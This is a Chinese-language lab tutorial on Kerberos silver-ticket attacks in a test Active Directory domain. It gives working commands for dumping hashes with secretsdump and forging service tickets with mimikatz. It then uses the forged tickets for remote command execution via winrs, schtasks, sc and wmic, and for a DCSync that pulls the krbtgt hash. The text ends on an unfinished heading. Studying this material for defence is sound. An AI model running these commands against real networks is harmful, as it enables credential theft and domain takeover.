票据原理
利用服务用户的Hash值来进行伪造TGS-REP返回的ST票据即白银票据,服务用户对应有机器用户和域用户。
白银票据利用条件
域名
域sid
目标服务机器名(域名)
可以利用的服务(LDAP、HTTP、Host、CIFS等)
目标服务用户的Hash值
需要伪造的用户
票据利用实验
实验过程中有时候命令正确,但是命令执行不成功,有可能是系统时间不一致。
同步系统时间命令:w32tm /resync
(管理权限执行)
以下实验中伪造的CIFS
、HTTP
、LDAP
、HOST
、RPCSS
服务的白银票据都是需要获取目标对应的机器用户的Hash值。
获取Hash
secretdump.exe
方法1
如果知道域管理员账号,或者普通域管理员账号可以使用secretsdump.exe来进行获取用户的Hash值,该工具也可用来解密ntds.dit文件。
该工具需要一个管理员权限的域用户,才可以获取到域内相关用户的Hash值。
命令:
.\secretsdump.exe [域名]/[用户名]:[密码]@[域控IP]
.\secretsdump.exe abc.com/ww:[email protected]
方法2
若只知道管理用户的Hash值,则也可以使用该工具进行获取域控上的所有域用户对应的Hash值。这里知道管理员用户ww的hash是2bed6581a5a706a71dbea414c8badeed
。
命令:
.\secretsdump.exe -hashes [LMHash]:[NTHash] [域名]/[用户]@[域控IP]
LMHash如果为空则默认为:aad3b435b51404eeaad3b435b51404ee
,具体执行如下:
制作票据
对CIFS服务进行利用
这里使用mimikatz进行白银票据的制作,命令:
kerberos::golden /domain:[域名] /sid:[SID] /target:[目标机器域名] /service:[服务名] /rc4:[NTLMHash值] /user:[用户名] /ptt
清理票据,然后测试访问,然后伪造票据再进行访问。
这里使用管理员用户ww的票据,测试访问ls-pc.abc.com电脑,ls-pc.abc.com为目标机器域名,这里生成票据并进行导入。
这里/rc4的NTLMHash值用的是对应服务机器用户的NTLM-Hash值,后面带$
为机器用户,这里之所以用机器用户的NTLM-Hash是因为:如CIFS、HOST
等服务通常运行在机器账户下,因此为这些服务创建白银票据需要使用机器账户的NTLM哈希值或AES密钥。这是因为这些服务是由特定的计算机提供的,而不是由域用户账户直接提供的。
伪造白银票据并导入:
查看票据,并访问对应服务:
上述是使用NTLMhash值来进行伪造的,也可以使用AESkey来进行伪造,而AESkey又分为128和256,则如果如果获取对应的值,把命令中的/rc4
改为/aes128
或/aes256
即可
对HTTP服务进行利用
WinRM服务相关命令:
#查看服务运行状态
Get-Service -Name "WinRM"
#运行WinRM服务
Start-Service -Name "WinRM"
#快速配置WinRM服务
winrm quickconfig
#获取WinRM详细配置
winrm get winrm/config
假设已经拿到域内一台主机,并获取了目标机器用户的Hash值,利用该Hash值来进行伪造白银票据。
使用Mimikatz生成票据并进行注入,如下:
然后使用WinRM执行命令:
winrs -r:http://ls-pc.abc.com:5985/wsman "ipconfig /all"
可以看到已经成功在zs-pc这个主机上成功完成了远程命令执行ls-pc这个主机。
对LDAP服务进行利用
假设获取到域DC机器用户的Hash,则伪造DC机器用户的LDAP服务,然后通过LDAP服务执行dcsync来读取krbtgt用户的Hash值,然后利用krbtgt用户的Hash值可以用来制作黄金票据。
已知获取了DC机器用户的Hash值,制作访问Ldap服务的白银票据:
然后使用Dcsync来读取krbtge用户的Hash值
命令:lsadump::dcsync /domain:abc.com /all /csv
对HOST服务进行利用
计划任务
同样已知目标机器ls-pc的机器用户的Hash值,然后伪造HOST服务的白银票据,然后新建定时任务。
域内远程新建定时任务相关命令:
新建定时任务:
schtasks /create /s ls-pc.abc.com /tn "SilverTicketTask" /tr "calc.exe" /sc once /st 16:00 /ru System
立即执行定时任务:
schtasks /run /s ls-pc.abc.com /tn "SilverTicketTask"
删除定时任务:
schtasks /delete /s ls-pc.abc.com /tn "SilverTicketTask" /f
参数说明:
/s
:指定目标主机(依赖伪造的HOST
票据认证 )/tn
:任务名称(自定义,如SilverTicketTask
)/tr
:任务执行程序(这里是calc.exe
,可替换为其他恶意程序 )/sc once
:触发条件(一次性任务,也可改为daily
等 )/st
:执行时间(需设置为未来时间,格式HH:mm
)/ru System
:以SYSTEM
权限运行(HOST
票据默认高权限 )
新建定时任务,并运行定时任务
查看目标机器上运行的任务
服务
注册HOST服务的白银票据可以远程访问计划任务外,还可以远程访问服务,远程新建服务,并执行服务。
域内远程操作服务相关命令:
sc \\ls-pc.abc.com create AMyService1 binPath= "C:\Windows\System32\calc.exe" start= auto
sc \\ls-pc.abc.com start AMyService1
在目标机上查看程序运行:
服务执行文件默认以System
用户权限进行执行
对RPCSS(RPC)服务进行利用
对该服务进行伪造Mimikatz命令:
kerberos::golden /domain:[域名] /sid:[SID] /target:[目标机器域名] /service:RPCSS /rc4:[NTLMHash值] /user:[用户名] /ptt
伪造后可执行Wmic相关命令进行命令执行:
wmic /node:[目标IP地址] process call create "cmd.exe /c ipconfig /all > c:\ip.txt"
在实验过程中注入跟票据我搭建的环境实现不了这个利用方式,看的有的博主同时注入HOST和RPCSS服务的白银票据可以执行该命令,但是尝试后还是不行,可能是搭建的环境有问题,有条件的可以自行尝试。
伪造服务分析
针对伪造白银票据是使用域用户的NTLM-hash值还是使用机器用户的Hash和AESkey有以下解释:
HOST服务:通常与机器账户相关联,因此为HOST服务创建白银票据通常需要用到机器账户的NTLM哈希值或AES密钥。
CIFS服务:正如前面所述,CIFS服务是通过机器账户来提供认证和授权的,所以也需要机器账户的哈希值或密钥。
LDAP服务:如果LDAP服务是以机器账户身份运行,则需要机器账户的哈希值;但若LDAP服务以某个特定的服务账户运行,则需要该服务账户的哈希值。而该服务
一般只有域控制器的机器用户才有
。HTTP服务:这取决于具体的部署情况。如果Web应用程序或服务是用特定的服务账户来运行的,那么应该使用该服务账户的哈希值来生成白银票据。
RPC(Remote Procedure Call,远程过程调用)服务:跟上述情况基本一致。
总的来说,是否使用机器用户的NTLM哈希值取决于目标服务是如何配置和运行的。如果是基于机器账户的服务(如CIFS、HOST),则确实会使用机器账户的NTLM哈希值或AES密钥。而对于那些基于特定用户或服务账户的服务(如某些配置下的LDAP或HTTP服务),则需要相应账户的哈希值。
常用的服务已经对应的利用场景: